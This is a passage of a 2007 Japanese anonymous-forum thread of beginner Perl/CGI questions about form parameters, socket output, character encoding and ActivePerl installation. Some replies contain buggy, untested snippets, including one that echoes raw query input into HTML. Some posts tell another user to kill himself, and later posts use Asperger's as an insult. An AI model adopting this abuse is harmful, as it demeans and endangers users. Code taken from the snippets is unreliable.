アスペルガー症候群の事か?藻前の煽りも余計だ。荒れる素だからヤメレ。
255:nobodyさん
07/07/18 12:20:06
>>252
オマエ無様だからそろそろ己の低スキルを自覚して自殺しろよ。
オマエの人真似の言葉なんて誰の役にも立ちゃしないし、生きていても意味が無い。
>>254
「荒れる」のハードルも低くなったもんだなぁ。これはせいぜい教育的指導の域を出ない。
>>244みたいな典型的なバカが匿名を盾に人並みに発言するのが社会にとって最も有害。
ノーテクはノーテクだから>>252のように技術以外の部分に必死で食らいつく他に無い。
先に絡んで来たのは>>244なのだし、オレは知ったこっちゃない。
256:nobodyさん
07/07/18 12:58:42
まぁスレも過疎ってるし話を広げて行こうぜ。テーマはこんな感じで。
「OSを指定しないPerlの新規インストールに関する質問には当然OSを尋ねるべきである」
1. Linux、Solaris、OSXは通常プリインストールである
2. したがって質問者の使用OSがWindowsである確率はシェアから約99%超と考えられる
3. 1%の可能性のためにOSを尋ねる場合、回答到達までに3フェーズ必要となる
(OS問合せ->OS回答->URI回答)
4. したがってスレタイに関係なく、この場合OS名を尋ねる者は鬱陶しくも痛いバカである
反論があれば個別にどうぞ。
それとは別にPerlに関するくだらない質問は勝手に訊いてください。
257:nobodyさん
07/07/18 16:34:28
獅子王君はどこいったのかね?
258:nobodyさん
07/07/19 18:35:22 IU8VyPgY
初心者です。質問おながいします。
top.htmlのページからindex.cgiを通してサブルーチンで分岐してa.htmlとb.htmlを
出力したいのですがどうすればいいか詰まってしまいました。
例えば、top.htmlで「男性」or「女性」をクリックしてindex.cgiでotoko.htmlと
onnna.htmlを分岐する場合、top.htmlの中身のリンクの<a href=./index.cgi>
の所になにか条件を指定してcgi内でサブルーチンで分岐できるのですか?
できるならリンクの書き方を教えて欲しいです。
わかりにくくてすんません。
259:nobodyさん
07/07/19 19:12:33 CIvRVShF
>>258
普通にパラメータ書いて分岐させりゃ簡単に出来ると思われ。
ってか、top.htmlにotoko.htmlやonnna.htmlへの直接リンクを書かないのはなぜ?
260:259
07/07/19 19:19:01 IU8VyPgY
どうもですm(__)m
直リンクじゃなくてcgiを利用して使いたかったんで^^;
すいません、パラメータってなんですか?><
261:nobodyさん
07/07/19 19:21:52
>>260
実験してるって事?
ひとまず、
URLリンク(www.aikis.or.jp)
これでも見て勉強汁。
262:259
07/07/19 19:28:14 IU8VyPgY
ありがとう。
いろいろ試してみないと気が済まない性格で^^;
263:nobodyさん
07/07/20 00:13:39
>>255
裏づけるデータはお前の脳内以外には無いんだな。
264:nobodyさん
07/07/20 03:03:34
キミもそれしか言えないのかね
265:nobodyさん
07/07/21 09:40:53
妄想でしかないんだろ。
妄想を真理と思い込み、他の可能性には気が廻らない。
想定外だったという理由のバグを大量生産するタイプだ。
266:nobodyさん
07/07/21 17:15:10 LRr3Colp
バグってきついよねぇ~。
267:nobodyさん
07/07/23 11:42:52
>>259
#!/usr/local/bin/perl
use CGI qw(:standard);#CGIでのパラメタ受け取り等を簡単に扱うためのもの
use strict;
my$url=sample.cgi; #これ自身のファイル名にしておく
my$name = param('name'); #フォームからの名前投稿をパラメタとして受け取り
# 以下、投稿フォーム。
#form action="$url" は、submitボタンを押した時に飛ぶ場所
#name="name" は、パラメタ名
print my$a= <<EOM;
Content-type: text/html\n\n
<html><head>
</head><body>
<form action="$url" method="POST">
名前<input type="text" size=10 maxlength="7" name="name"><br>
<input type="submit" value="投稿" name="toukou"></form><hr>
EOM
# 以下、表示。
#もしも$nameがあれば(パラメタとしてでも$nameを受け取っていれば)$nameを表示
if($name){
print$name;
}
268:nobodyさん
07/07/23 12:05:29
アンカミスった
>>259でなく>>258。
上はただのパラメタの使い方。
フォームを
<form action="$url" method="POST">
<input type=radio name=seibetu value otoko >
<input type=radio name=seibetu value onna >
<input type=submit value=投稿>
</form>
とすれば、投稿ボタンが押されたときに$urlのURLに飛んで、パラメタ名seibetuにotokoかonnaを入れて渡すことが出来る。
受け取り側は
my$seibetu = param('seibetu');#パラメタ受け取り
if($seibetu eq otoko){
#パラメタがotokoだった場合の処理
}
elsif($seibetu eq onna){
#パラメタがonnaだった場合の処理
}
デバッグしてないから文法ミスがあるかもしれないが、こんな感じで
269:nobodyさん
07/07/23 12:26:23
そうそう、
>>261のリンク先に、getが使用されにくい理由に
・環境変数には長さに制限があるので、getの場合途中でパラメータが切れることがある
・ブラウザがIEの時、フォームに<TEXTAREA>があるときはGETは使えない
・postの場合、パラメータの長さが。環境変数 CONTENT_LENGTH に格納される
とあるが、getはURLエンコードして、見える状態で渡されるから、悪意ある第三者に利用される可能性がある。
セキュリティの面から言ってもpostを使ったほうがいい。
もっと言うなら、「getもpostも両方の扱い覚えるのマンドクセ」ってときはpostの扱いだけ覚えればいい。
以上、駄文スマソン
270:258
07/07/23 16:22:00 dzTqHpzl
ありがとう。簡単にこんな感じで作ってみたけど上のもコピーしてやってみます!
#! c:/perl/bin/perl
$buffer = $ENV{'QUERY_STRING'};
if($buffer eq 1) {
otoko()};
if($buffer eq 2) {
onna()};
sub otoko{
print "Content-type: text/html\n\n";
print "<HTML><HEAD>";
print "<TITLE>CGI-TEST</TITLE>";
print "<BODY>\n";
print "$buffer 男性<br>";
print "</BODY></HTML>";
exit;
}
sub onna{
print "Content-type: text/html\n\n";
print "<HTML><HEAD>";
print "<TITLE>CGI-TEST</TITLE>";
print "<BODY>\n";
print "$buffer 女性<br>";
print "</BODY></HTML>";
exit;
}
271:nobodyさん
07/07/23 19:24:19 ZBWpUMJL
パーミッションの設定に躓いてから なにもやらなくなって
早2年
そんな自分に嫌気がさす。
てかActivePerlとMySQLのインスコが難しすぎる。
何度やっても失敗ばっかりだ。
俺の人生を象徴しているかのよう。悔しいぜ。
272:nobodyさん
07/07/23 20:36:30 vSTTUlTw
Perl勉強しはじめて2週間。
基本的なことなんだけど考え付かなくなってしまったので
発想力をちょっと貸してください。
HTTPリクエストして、BODY部分だけ表示させたいのですが
HEAD部分を表示させないようにSOCKETを
while (<$SOCKET>){ m/^\r\n$/ and last; }
print <$SOCKET>;
こんな感じでHEAD部分はループさせて抜けてから
BODY部分をprintさせるうえで
while使わずにやる方法としてはどうやりますか?
do{}whileやuntilでも出来ると思うんですが
何故かHEAD部分から全部表示されたり、無限ループに突入したりします。
難しいものじゃないはずなのに何故か書けない罠にはまった感じです。
発想力をちょっと貸してください。
273:nobodyさん
07/07/23 21:52:25
>>272
つかまずバッファに入れてから処理しようぜ
SOCKETひらきっぱで処理するのイクナイ
274:nobodyさん
07/07/23 22:19:18
>>272
ソケットとかややこしそうで足踏み入れてなかったが、ソケットのヘッダとボディは
"Content-type: text/html\n\n";
となってるんだよな?
\n\nと、改行が2個あるところで判断すればいいと思う。
この改行は\nであって\r\nでは無理だと思う。
my$ppp = my@socket = <$SOCKET>;
for (0..$ppp-1){
if($socket[$_]=m/^\n$/){last}
shift @socket;
}
print @socket;
↑これでイケル希ガス。つかもっといい方法を思いたったので次に書く。
おそらく、HTMLで表示するんだろうから、chompで改行文字を消してもいいんだよね?
my@socket = chomp(<$SOCKET>); #改行文字だけの部分はchompでカラになる。
while(@socket){shift @socket} #@socketで要素が何も無い場所に来るとwhile文がfalseとなりループは終わり、shiftも終わる。
#@socketの0個目の要素は何もカラ、1個目からの要素は改行を取り除いたボディ部分。
ちゃんと動作するか知らんが、初心者同士がんがろうぜ
275:nobodyさん
07/07/23 22:30:09
×ソケットのヘッダとボディは
○ソケットのヘッダとボディの区切りは
>>274で、もしおかしなこと言ってたらスマソ。
そもそもソケットとかHTTPリクエストとかよく知らんのに答えてもた。
276:nobodyさん
07/07/23 23:36:05
>>274
× $socket[$_]=m/^\n$/
○ $socket[$_]=~m/^\n$/
スンマソ
277:nobodyさん
07/07/24 09:28:58
HEADとBODYって言ってるからhttpヘッダじゃなくて
純粋にhtmlの<HEAD><BODY>の話なんじゃまいか
278:nobodyさん
07/07/24 10:22:47
URLリンク(www.7key.jp)
そこの
07:
08:<http>
09:<head>
10:(以下省略)
みたいになってて</head>まで削除して<body>から残したいと。
なら>>274を改造して
my@socket = <$SOCKET>;
for (0..$#socket){
if($socket[$_]=m~/^<body>\n$/i){last}
shift @socket;
}
print @socket; #<body>以下を表示
でいいんじゃまいか
279:258
07/07/25 14:52:50 pV3pjlQZ
こんにちは。質問おながいします。
jcode.plって日本語に変換するプログラムですよね?
英語に変換するものや中国語に変換するものもあるんですか?
英語に変換するものや中国語に変換するものもあるなら
ほしいので知っている方いたらお願いします。
280:nobodyさん
07/07/25 15:02:01
>279
文字コードの変換≠翻訳
いやー、夏だねえ・・・
281:nobodyさん
07/07/25 15:52:28
きっとダンくんが何とかしてくれるよ。(違
282:258
07/07/25 16:39:08 pV3pjlQZ
jcode.plにつながっているからかな・・文字化けしてしまう。
$ENV{'CONTENT_TYPE'}
これってなんかの文字コードが格納されているのですか?
283:nobodyさん
07/07/25 16:46:44
されている場合もある、かな。
中身は、text/html; charset=Shift_JIS
とかだよ
284:258
07/07/25 17:03:43 pV3pjlQZ
if ($ENV{'REQUEST_METHOD'} eq "POST") { read(STDIN,$buffer,$ENV{'CONTENT_LENGTH'}); }
else { $buffer = $ENV{'QUERY_STRING'}; }
if ($buffer eq "") { &error('アクセスエラー');}
if($ENV{'CONTENT_TYPE'} !~ /multipart\/form-data; boundary=------------/){
@pairs = split(/&/,$buffer);
foreach $pair (@pairs) {
($name,$value) = split(/=/, $pair);
$name2 = $name;
$value2 = $value;
$QUERY2{$name} = $value;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value = change_i_pic_sym($value);
こんな感じになってます。
$ENV{'CONTENT_TYPE'} の、ところをtext/html; charset=Shift_JIS
にしてutf-8にしたいからtext/html; charset=utf-8
に、すれば文字化けふせげますかね?
やってみます。
285:258
07/07/25 17:10:29 pV3pjlQZ
CGIが動かなくなってしまった^^;
無理なのかなぁ・・
286:nobodyさん
07/07/25 17:11:38
なんでいきなり multipart/form-data が出てくるんだ。
元々何の質問なの?文字化けって何が化けてるの?
287:nobodyさん
07/07/25 17:16:13
The PHP documentation team is proud to present to the PHP community a few fixes
and tweaks to the PHP Manual, including:
URLリンク(jp.php.net)
これのproud toって誇りを持ってとか、プライドを持ってとかの意味?
たまにPHPトップのニュースに出てくるけど、そこまで大げさに言わなくてもいいんじゃないの?
288:287
07/07/25 17:23:15
スマソ
PHPスレと間違えた
289:258
07/07/25 17:28:38 pV3pjlQZ
さっきのプログラム(rog.cgi)はコード変換処理ってところを抜き出して
コピペしたんだけどjcode.plにコード変換処理させていてrog.cgiの
ファイルがutf-8にしてあるから文字化けしてるのかなと思い・・
jcode.plをutf-8に対応できるプロトコル?にできればいいんですが
それがどうしていいかわからなくて。説明へたですんまそん。
ほかのcgiファイルにはいってるhtmlはtext/html; charset=utf-8
で文字化けしてないけどrog.cgiを通って出力するhtmlは文字化けしてしまうので・・
290:nobodyさん
07/07/25 17:42:59
jcode.plはutf-8には対応してないから。
さすが「くだすれ」ww
ものすごいレベルの低さだwww
291:nobodyさん
07/07/25 18:32:34
まずは、jcode.plをjcode.pmに変更だ。
少しの変更で移行できる。
その後UTF-8に対応だ。
292: ◆lVJAPUTeX.
07/07/25 23:03:36
(we are) proud to... は英語の決まり文句なので、訳する場合は "proud" は無視しちゃってもいいくらいのものです。
293:nobodyさん
07/07/27 17:51:08 lN7iMdmd
/の逆の斜線はどこを押すと出てきますか、
超初心者以前の問題ですみません
294:nobodyさん
07/07/27 18:03:04
\
295:nobodyさん
07/07/27 18:03:54
>>294
それでよかったんですか。ありがとうございます。。
296:nobodyさん
07/07/27 18:26:21
書いたものの、どこで実行すればよいのでしょう?
web上にアップロードして実行するんですか?
297:nobodyさん
07/07/27 18:33:25
on your desk
298:nobodyさん
07/07/27 18:40:42
どこで実行するかも決めずにいきなり書いたのか・・・
この板的には、とりあえずhttpサーバ入れて設定するのがいいのでは
299:nobodyさん
07/07/27 21:08:35
いろいろググってみたのですが、わからないので教えてください。
現状を言うと、ActivePerlはインストール完了、
#!/usr/bin/perl
print "Hello, world!\n;
をActivePerlでできたフォルダにhello.plで保存。
再起動済み、次にどうすればいいのでしょうか・・・
ちなみにOSはvistaです。
300:nobodyさん
07/07/27 21:41:25
コーヒーを淹れる
301:nobodyさん
07/07/27 22:07:58
>>299
関連付けが正常に行われていれば
(plのファイルのアイコンがトカゲになっていれば)
ダブルクリックで実行。
ただし、
print "Hello, world!\n";
とすること。
1行目は不要。
302:nobodyさん
07/07/27 23:38:19 lN7iMdmd
>>301
アイコンはトカゲになってます。
ダブルクリックすると開いた瞬間閉じてしまうのは仕様なんでしょうか?
print "Hello, world!\n"; で実行しましたが、結果はどうなってるのやら・・・・orz
303:nobodyさん
07/07/28 00:46:08
>>302
先に開いてあるプロンプトから実行しないと、すぐに閉じてみえなくなります。
sleep 5;と入れれば幸せになれますか?
304:nobodyさん
07/07/28 07:29:47
cgi-lib.plを使って受け取ったフォームから受け取った値を
for文で繰り返し処理しようと思ったのですがうまくいきません
my %input;
&ReadParse(\%input);
for (1..20) {
$MORAU[&_] = $input{'&_'};
}
やっぱり根本的に間違えてるんでしょうか
305:nobodyさん
07/07/28 08:02:50
うん。根本的に間違えておる。
詳しくは超初心者の心理を鋭く妄想できる>>245大先生が教えてくれるだろう。
306:nobodyさん
07/07/28 11:42:32 YzZLztvi
>>303
先に開いてあるプロンプトから実行・・・・・・・といいますと?
すみません orz
307:nobodyさん
07/07/28 14:46:24
その言葉のどこが、何がわからないのかね。
まさか日本語が判らないのかね。
謝る前にもう少し質問を明瞭にするべきじゃないかね。
とりあえずprint文の次に>>303のコマンドを入れてみてはどうかね。
308:名無しさん@そうだ選挙に行こう
07/07/29 04:34:03
おまいら意地悪しないでANHTTPDとか入れるように言ってやれよw
309:名無しさん@そうだ選挙に行こう
07/07/29 08:43:45
あんなものいれるな
310:名無しさん@そうだ選挙に行こう
07/07/29 11:16:38
じゃあ、いじわるしないで、コレな。
つ[ URLリンク(www.vmware.com) ]
つ[ URLリンク(blog.yasaka.com) ]
311:nobodyさん
07/07/31 00:29:12 pMcNAP1A
Perlをはじめてもいない初心者です。
そんな自分も歓迎してくれるらしいと聞いてやってきました。
ActivePerlがインストールできません。
サイトから5.8.8のMSIじゃない方ダウソしたのですが
インストール用のバッチファイル実行中に次のエラーが出て終了。
「Can't spawn "command.com":Not such file or directory at (どう見ても
実行中のバッチファイル自身のアドレス) line 272,<STDIN> line 7.」
なに探してるんだよ。orz
解決法ピンとくる方がいたらば教えてください。
スレチなら誘導たのんます…
312:nobodyさん
07/07/31 01:10:27
こういうときは環境ぐらい書くもんだ
313:311
07/07/31 01:25:27
すません。OSはMeです。
おとつい他スレで笑われたけど…orz
314:nobodyさん
07/07/31 01:36:13
msiの使えばいいじゃない。
315:nobodyさん
07/07/31 01:41:39
だめだった。
今チャレンジしてるやつが一応一番進んでるっぽいです。
インストールしてます→エラーです とな。
316:nobodyさん
07/07/31 01:44:51
>>311
どこから来たかを先に書こうよ。同じ問答しなくてよくなるんだから。
かぶってる住人も…いや、くだすれにはあまりいないのか?
Perlについての質問箱 31箱目
スレリンク(tech板:685-694番)
向こうはこのあと謎の流れになったんだよなあ…。
317:311
07/07/31 02:03:23
それです!お世話になりました。
初心者むけスレあったんかいと思って移動。
318:nobodyさん
07/07/31 03:35:48
>>311
> 「Can't spawn "command.com":Not such file or directory at (どう見ても
> 実行中のバッチファイル自身のアドレス) line 272,<STDIN> line 7.」
これって
my $cmd = "xcopy /q /r /i /e /k Perl\\* \"$prefix\" ";
system($cmd) && die "$!\n";
↑この辺になるんだが、xcopy.exe がないとかいうことはないよな?
すまんが画面に出てくる途中経過のメッセージの、アボートするちょっと前から
アボートするまで貼り付けてくれ。
319:311
07/07/31 04:12:50
アボードの意味がわかんないけども
xcopy.exeもよくわかんないけども
...
Add the Perl\site\bin and directories to Path?[yes]
Proceed?[yes]
Ok.
Installong ActivePerl...
Copying files...
Can't spawn "command.com":Not such file or directory at (どう見ても以下略
...
って出てます
320:nobodyさん
07/07/31 04:29:23
あ・そうですねなんかxcopyってのがないみたいだ…
探してみます って手に入るんだろうか。
321:nobodyさん
07/07/31 10:07:43
xcopy.exeは標準で入ってるだろ。
PATH通ってないとか?ありえない気がする・・・
322:nobodyさん
07/07/31 23:24:44
xcopyはありました、
でもDOSで打っても使えないんだよな。
いろいろいじってみます・・・
323:nobodyさん
07/08/01 00:31:48
COMMANDの中身をまるごと
インストーラと同じディレクトリにつっこんでみたところ少し進みました。
だがつまった…
...
Proceed?[yes]
Ok.
Installong ActivePerl...
Copying files...
Finished copying files...
Relocating...Can't open C:\Perl\bin\c2ph.bat: No such file or directory at
C:\(略)\INSTAL~1.BAT line 307, <$reloc> line 1.
...
ってなって強制終了…ハァ…
ちなみにC:\Perlには何も入ってないです。
いったい何が不味いのでしょうか。
324:nobodyさん
07/08/01 01:09:29
>>311
実は64bit版落としちゃったとかじゃないよな・・・。
前スレ694も書いてたけど、Windows9x/MeだとWindowsInstaller2.0+が
要るんだけど入ってる?
URLリンク(downloads.activestate.com)
325:nobodyさん
07/08/01 01:14:35
x86てあるから多分86bit
入ってる入ってる
場所はどこでもいいんですか?
326:nobodyさん
07/08/01 01:58:42
どんがらがっしゃん
327:nobodyさん
07/08/01 02:15:59
>>324
311が今試しているのはmsiじゃなくてASパッケージの方だから、
とりあえずMSインストーラーのバージョンは関係ない。
ってMSインストーラーのバージョンを上げてもう一回msiで
やればよかったりして。
328:nobodyさん
07/08/01 02:25:56
>>322
> xcopyはありました、
> でもDOSで打っても使えないんだよな。
いったいまともなシステムなのかい、おまいさんの使っているのは。
Meかどうかってのはおいといても。だ。
> いったい何が不味いのでしょうか。
わけもわからず闇雲に
> COMMANDの中身をまるごと
> インストーラと同じディレクトリにつっこんでみたところ少し進みました。
こんなことやってるからだ。
バッチファイルの中身は実質Perlスクリプトなんだから、適当にいじりなさんな。
...
329:nobodyさん
07/08/01 03:08:43
>>325
場所? 何の? 自動的に進むはずだけど。
つかそのMe壊れてるんじゃないかなぁ。
330:nobodyさん
07/08/01 10:18:26
Meかよ!
AUTOEXEC.BATにPATH設定しとけ
331:nobodyさん
07/08/03 16:12:48
XPで、最新版あくちぶぱーるのMSIのほういれようとすると、
警告がでてインスコできない。
古いバージョンなら問題なくはいりました。
ただ、最新版をいれようとナニカ変なことをやらかしたようで、
ノートン先生のゴーバックつかって、インストールしてない状態にもどしてから
古いバージョンをインストールしなおしました。
もしかして、その状態なのかな?
332:nobodyさん
07/08/04 02:01:08
>>307
初めて使う人なわけだからさ。
333:nobodyさん
07/08/04 16:47:07
だから?
334:nobodyさん
07/08/04 18:30:38
アスペルガーの特徴。
自分が知っていることは
他人も当然知っていると思い込んでいる。
335:nobodyさん
07/08/04 19:26:37
アスペルガー症候群は格好良い、天才故の悩みみたいで。
気違い認定されると嬉しいけど、アスペルガー認定も嬉しい。
336:nobodyさん
07/08/05 12:35:06
MSIインストーラは、適当に置くんじゃなくて、
クリックしてインストールしないとね。
337:nobodyさん
07/08/05 13:59:47
>>335
死ねキチガイ
338:nobodyさん
07/08/05 14:23:50
アスペルガーはキチガイじゃないよ
ただ自分にしか関心がなくて
他人にまったく関心がないってだけ。
339:nobodyさん
07/08/07 20:51:45
アスペルガーは、相手の言葉の裏を読めないだけ。
基地外でもないし他人に関心が無いわけでもない。
基地外をアスペルガーと呼ぶのはアスペルガーの人に対して失礼だ。
とマジレス。
340:nobodyさん
07/08/08 01:27:49
でも教科書にはアスペルガーは他人に関心がなく
自分のことにしか関心がない、って書いてあるよ
そしてプログラマー板とか見ると、まさに
そのとおり、って感じ。
341:nobodyさん
07/08/08 08:53:24
>>340
他人に関心を持ちつつも、うまく対処出来なくて悩んでるアスペルガーの人の特集やってるテレビ見た。
アスペルガーに対する偏見はすさまじいらしいから、教科書等でもそういう見方をしてしまうのかと。
実は他人とも仲良くなりたいが、自分が傷つきやすく(言葉の裏が読めない為)、相手の傷つくのも理解しにくい(言葉の裏を読めない為)から、本人達はかなり悩んでいる。
本当のアスペルガーってのは、脳が他のことに特化して、脳の中で他人の言葉を深く考える部分が成長していないんだと。
普通、基地外ってのは、相手がうざがったりへこんだりするのを見て喜んだりするような真性のアホを指すことが多いと思うが、
アスペルガーは(たとえ結果的に傷つけてしまう言葉を言うにしても)相手が嫌な思いをするのを目的で嫌な言葉を使っているのではない。
どこかの教科書に「アスペルガーは他人に関心が無く」ってのは、周りからの(偏見に満ちた)見方をしているだけだと思う。
アスペルガーは、アスペルガー本人にしてみれば他人にも関心があるが、アスペルガーじゃない人がアスペルガーを見ると関心が無い"ように見える"だけだと思う。
アスペルガーはただの発達障害の1つであり、何かの能力で他人より優れている部分があることが多いが、かわりに他の能力で他人より劣ってる部分があるだけ。
なんで、アスペルガー=基地外っていうのは偏見だと思うよ。
プログラマー板でアスペルガー名乗ってる人が居るのかどうかも知らないが、基地外に対してはアスペルガーではなく基地外と呼ぶほうが正しいと思うよ。
基地外の別称としてアスペルガーを使うのはそれこそ差別になりかねないから。
と2度に渡りマジレスすまそ
342:nobodyさん
07/08/08 08:56:46
最初からそう言ってくれれば別にいいんだけどさ、
結局コミュニケーション取れないから仕事にしても何にしても
やりにくくて仕方が無い。
つかなんでこんな話題が続いてるんだw
343:nobodyさん
07/08/08 15:35:52
空気が読めないからさ
344:nobodyさん
07/08/08 21:37:41
話題が無いだけさ
345:nobodyさん
07/08/13 23:51:38
parrotの話でもしよう
346:nobodyさん
07/08/28 21:12:01 S4BK4Wc3
スレッドフロート型掲示板って中規模くらいにはなるの?
347:nobodyさん
07/08/28 22:44:17
>>346
シンプルに作れば200行は超えない。小規模だろう。
もちろんいろいろ細かなことを気にしたり機能を増やしたりすれば
中規模になっても不思議ではない。
348:nobodyさん
07/08/28 22:55:12 S4BK4Wc3
120行程度を8個程度連動して動かすのは?
アップローダーなんだが、スイッチ作るよりもそっちのが若干の負荷軽減になるし。
まぁ、漏れは基本的にそっち系なんだが。
349:nobodyさん
07/09/01 11:35:54 J92zlSvR
perl初心者です
perlでrssを定期的に取得し、取得したrssからurlとタイトルを取得しhtmlに出力
するようなcgiを書きたいです。ムリですか?
350:nobodyさん
07/09/01 11:50:45
>>349
頑張れ
351:nobodyさん
07/09/01 12:21:56
>>349
定期的になんかやる CGI なんて面倒だよ。原則として CGI というのは
サーバがクライアントからリクエストがあったときに起動するものだから。
サーバ内で定期的 RSS を取得するプログラムを走らせるか
RSS を取得する CGI に定期的にアクセスするか、
定期的に取得することをあきらめるか、のどれかが自然だと思うよ。